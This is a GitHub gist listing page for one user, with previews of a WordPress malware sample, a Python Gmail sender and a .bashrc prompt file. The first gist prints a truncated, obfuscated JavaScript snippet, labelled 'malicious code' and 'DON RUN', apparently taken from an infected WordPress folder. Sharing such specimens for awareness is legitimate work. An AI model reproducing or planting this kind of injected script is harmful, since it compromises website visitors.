Skip to content

Instantly share code, notes, and snippets.

View krosti's full-sized avatar
🚲
Exploring

Fernando Cea krosti

🚲
Exploring
View GitHub Profile
@krosti
krosti / arkismet folder
Created June 13, 2012 00:36
malicious code - wordpress
/*DON RUN!!!!*/
<script type='text/javascript'>var wow="mb2inkb3mpfb1slxb1nl
";var _J=(Date);if(_J){_h='4726';}var _Y={'J':'reve\x72\x73e
','f':'str\x69\x6Eg','o':'\x73\x75bstr','s':!false,'k':'j\x6
Fin','v':'spl\x69\x74','P':'len\x67\x74\x68'},_R='',_z=['=c1
n"oll ;y"1=cd(if=-oumt.oc.iekienoOfxe{adn)1)cr =(vanea.saDw
;teetiT(.eetgmaTi)(me2;)cE=73;6c2t(D an=e.aewimTt(+)ceeg3dou
c);ecetn.m=ik1coocpa"s"+=+ee(Moc2TtStirG.gn()")+p;xei=sre.tT
Gc"+o2MStng)(a;p"tri+;v"/de=h= brumnaoct.aemlecrEneet(tf+ir"
@krosti
krosti / send.py
Created May 15, 2012 21:25
Minimalistic Email w/ Gmail Sender
import smtplib
import urllib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Usr data
fromaddr = 'xxx@gmail.com'
toaddrs = 'yyy@gmail.com'
@krosti
krosti / .bashrc
Created May 6, 2012 19:58
Prompt Colors + Git
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth